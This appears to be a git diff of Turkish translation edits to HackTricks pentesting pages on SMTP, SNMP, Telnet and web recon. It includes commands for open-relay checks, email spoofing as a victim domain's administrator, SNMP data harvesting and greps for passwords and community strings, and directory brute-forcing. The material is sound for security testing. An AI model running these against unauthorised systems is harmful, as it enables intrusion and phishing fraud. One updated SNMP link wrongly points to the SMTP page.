Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu amaçla test etmek için tasarlanmış özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:
|
||||
Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu amaçla test etmek için tasarlanmış özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama yapmak için kullanılan komut:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Eğer **dkim python kütüphanesi** anahtarı ayrıştırırken herhangi bir **hata alırsanız**, aşağıdaki alternatifini kullanmaktan çekinmeyin.\
|
||||
> Eğer **dkim python kütüphanesinde** anahtarı ayrıştırırken herhangi bir **hata alırsanız**, aşağıdaki alternatifini kullanmaktan çekinmeyin.\
|
||||
> **NOT**: Bu, openssl özel anahtarının **dkim tarafından ayrıştırılamadığı** durumlarda hızlı kontroller yapmak için sadece geçici bir çözümdür.
|
||||
>
|
||||
> ```
|
||||
@ -477,12 +477,12 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
**Bu korumalar hakkında daha fazla bilgi bulmak için** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
|
||||
### **Diğer oltalama göstergeleri**
|
||||
### **Diğer phishing göstergeleri**
|
||||
|
||||
- Alan adı yaşı
|
||||
- Alan adının yaşı
|
||||
- IP adreslerine işaret eden bağlantılar
|
||||
- Bağlantı manipülasyon teknikleri
|
||||
- Şüpheli (olağandışı) ekler
|
||||
- Şüpheli (olağan dışı) ekler
|
||||
- Bozuk e-posta içeriği
|
||||
- E-posta başlıklarından farklı olan kullanılan değerler
|
||||
- Geçerli ve güvenilir bir SSL sertifikasının varlığı
|
||||
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
### Postfix
|
||||
|
||||
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering` dosyasının çalıştırılacağını belirtir.
|
||||
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering` dosyasının çalıştırılacağını belirtir.
|
||||
|
||||
Diğer konfigürasyon dosyaları:
|
||||
```
|
||||
@ -520,7 +520,7 @@ Description: Notes for SMTP
|
||||
Note: |
|
||||
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON VERSION
|
||||
### MIB
|
||||
|
||||
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcısı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
|
||||
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığı hakkında bilgi verir.
|
||||
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir.
|
||||
|
||||
### OIDs
|
||||
|
||||
@ -28,8 +28,8 @@ Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu d
|
||||
|
||||
.png>)
|
||||
|
||||
Bir **OID ağacında** buradan **gezin**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini** görmek için (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişin.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden **bekleyen OID'ler** ile bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) elde edebilirsiniz.
|
||||
Bir **OID ağacında** gezinmek için buradan web üzerinden erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini** görmek için (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) bulunmaktadır.
|
||||
|
||||
### **OID Örneği**
|
||||
|
||||
@ -46,9 +46,9 @@ Bu adresin ayrıntılı açıklaması:
|
||||
- 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler.
|
||||
- 1 – bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
|
||||
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapıldığında hariç, tüm OID'ler için aynı olacaktır.
|
||||
|
||||
Sonraki sayı grubuna geçelim.
|
||||
Sonraki sayı dizisine geçelim.
|
||||
|
||||
- 1452 – bu cihazı üreten organizasyonun adını verir.
|
||||
- 1 – cihazın türünü açıklar. Bu durumda, bir alarm saatidir.
|
||||
@ -56,7 +56,7 @@ Sonraki sayı grubuna geçelim.
|
||||
|
||||
Geri kalan değerler, cihaza özgü bilgileri verir.
|
||||
|
||||
- 5 – belirli bir alarm noktasını belirtir.
|
||||
- 5 – ayrık bir alarm noktasını belirtir.
|
||||
- 1 – cihazdaki belirli nokta
|
||||
- 3 – port
|
||||
- 21 – portun adresi
|
||||
@ -89,8 +89,8 @@ Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **ya
|
||||
[Wikipedia'dan](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
|
||||
|
||||
- SNMP ajanı, UDP portu **161** üzerinde istekleri alır.
|
||||
- Yönetici, port **162** üzerinde bildirimleri alır ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)).
|
||||
- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler port **10161** üzerinde alınır ve bildirimler port **10162**'ye gönderilir.
|
||||
- Yönetici, bildirimleri ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) portu **162** üzerinde alır.
|
||||
- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler portu **10161** üzerinde alınır ve bildirimler portu **10162**'ye gönderilir.
|
||||
|
||||
## Brute-Force Topluluk Dizesi (v1 ve v2c)
|
||||
|
||||
@ -125,7 +125,7 @@ Genişletilmiş sorgular (download-mibs) sayesinde, aşağıdaki komut ile siste
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP**, ana bilgisayar hakkında birçok bilgiye sahiptir ve ilginizi çekebilecek şeyler şunlardır: **Ağ arayüzleri** (IPv4 ve **IPv6** adresi), Kullanıcı adları, Uptime, Sunucu/OS versiyonu ve **çalışan** **işlemler** (şifreler içerebilir)....
|
||||
**SNMP**, ana bilgisayar hakkında birçok bilgiye sahiptir ve ilginç bulabileceğiniz şeyler şunlardır: **Ağ arayüzleri** (IPv4 ve **IPv6** adresi), Kullanıcı adları, Uptime, Sunucu/OS versiyonu ve **çalışan** **işlemler** (şifreler içerebilir)....
|
||||
|
||||
### **Tehlikeli Ayarlar**
|
||||
|
||||
@ -180,7 +180,7 @@ Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir S
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Bu, manuel olarak işleyemeyeceğiniz çok miktarda MB bilgi çıkarabilir.
|
||||
Bu, manuel olarak işleyemeyeceğiniz çok miktarda bilgi çıkarabilir.
|
||||
|
||||
Şimdi en ilginç bilgileri arayalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
@ -192,7 +192,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Özel Dizeyi Belirleme**
|
||||
|
||||
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutu** kullanılır:
|
||||
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bu işlem için bir **grep komutu** kullanılır:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -204,11 +204,11 @@ grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **E-postalar**
|
||||
|
||||
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir **grep komutu** ile düzenli bir ifade kullanılır:
|
||||
Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir **grep komutu** ile düzenli ifade kullanılır:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
## SNMP değerlerini değiştirme
|
||||
## SNMP Değerlerini Değiştirme
|
||||
|
||||
Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
|
||||
|
||||
@ -216,7 +216,7 @@ Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak
|
||||
|
||||
Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içine bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz.
|
||||
|
||||
## SNMP Konfigürasyon dosyalarını inceleme
|
||||
## SNMP Konfigürasyon Dosyalarını İnceleme
|
||||
|
||||
- snmp.conf
|
||||
- snmpd.conf
|
||||
@ -235,7 +235,7 @@ Description: Notes for SNMP
|
||||
Note: |
|
||||
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-snmp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: SNMP Check
|
||||
|
@ -23,9 +23,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) alacaktır.
|
||||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha ayrıntılı (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini, yankı modunu değiştirmeyi vb. içerebilir.
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu ayarlamak vb. içerebilir.
|
||||
|
||||
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız bana bildirin.**
|
||||
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız lütfen bana bildirin.**
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
@ -48,7 +48,7 @@ Note: |
|
||||
wireshark to hear creds being passed
|
||||
tcp.port == 23 and ip.addr != myip
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-telnet
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../../generic-hacking/search-exploits.md)
|
||||
Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Herhangi bir WAF'yi kontrol et**
|
||||
|
||||
@ -64,7 +64,7 @@ Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../.
|
||||
|
||||
### Web teknoloji hileleri
|
||||
|
||||
Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hileler**:
|
||||
Farklı iyi bilinen **teknolojilerdeki** **açıkları bulmak için bazı hileler**:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -103,13 +103,13 @@ Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji
|
||||
|
||||
### Kaynak Kodu İncelemesi
|
||||
|
||||
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı** olabilecek **bazı bilgiler**:
|
||||
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler** vardır:
|
||||
|
||||
- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
|
||||
- **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
|
||||
- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
|
||||
- Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
|
||||
- Herhangi bir zafiyeti sömürerek **bu dosyalara erişebilir misiniz**?
|
||||
- Herhangi bir **açığı** sömürerek bu dosyalara **erişebilir misiniz**?
|
||||
- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)?
|
||||
|
||||
{{#ref}}
|
||||
@ -147,11 +147,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
|
||||
|
||||
## Adım adım Web Uygulaması Keşfi
|
||||
## Adım Adım Web Uygulaması Keşfi
|
||||
|
||||
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
|
||||
|
||||
### İlk kontroller
|
||||
### İlk Kontroller
|
||||
|
||||
**İlginç bilgiler içeren varsayılan sayfalar:**
|
||||
|
||||
@ -162,28 +162,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
|
||||
|
||||
**Hataları zorlamak**
|
||||
**Hataları Zorlamak**
|
||||
|
||||
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir.
|
||||
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
|
||||
|
||||
- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vbvs)
|
||||
- **Cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyerek hatalar oluşturun
|
||||
- **URL**'nin **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
|
||||
- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vb)
|
||||
- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
|
||||
- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
|
||||
- **PATCH, DEBUG** gibi **farklı HTTP Fiilleri** veya **FAKE** gibi yanlış olanları deneyin
|
||||
|
||||
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin:
|
||||
Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için yeterli izinleriniz yoksa**, şunları deneyin:
|
||||
|
||||
- **Kaba kuvvet** ile kimlik bilgilerini denemek
|
||||
- **Kaba Kuvvet** ile kimlik bilgilerini denemek
|
||||
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
|
||||
|
||||
### **SSL/TLS açıklıkları**
|
||||
### **SSL/TLS Açıkları**
|
||||
|
||||
- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'ye karşı **açık** demektir.
|
||||
- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açıklıktır.
|
||||
- Uygulama **HTTPS kullanıcısını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
|
||||
- Uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açığa sahiptir.
|
||||
|
||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıklıkları yeniden kontrol edin:
|
||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Hata Ödül programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -206,14 +206,14 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
|
||||
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
|
||||
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
|
||||
@ -225,7 +225,7 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumeration için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumerasyon için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
|
||||
|
||||
@ -234,15 +234,15 @@ Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uyg
|
||||
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
|
||||
Araçlar:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş.
|
||||
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere kıyasla çok yavaş.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yoktur**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): "Tekrarlanan" işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
|
||||
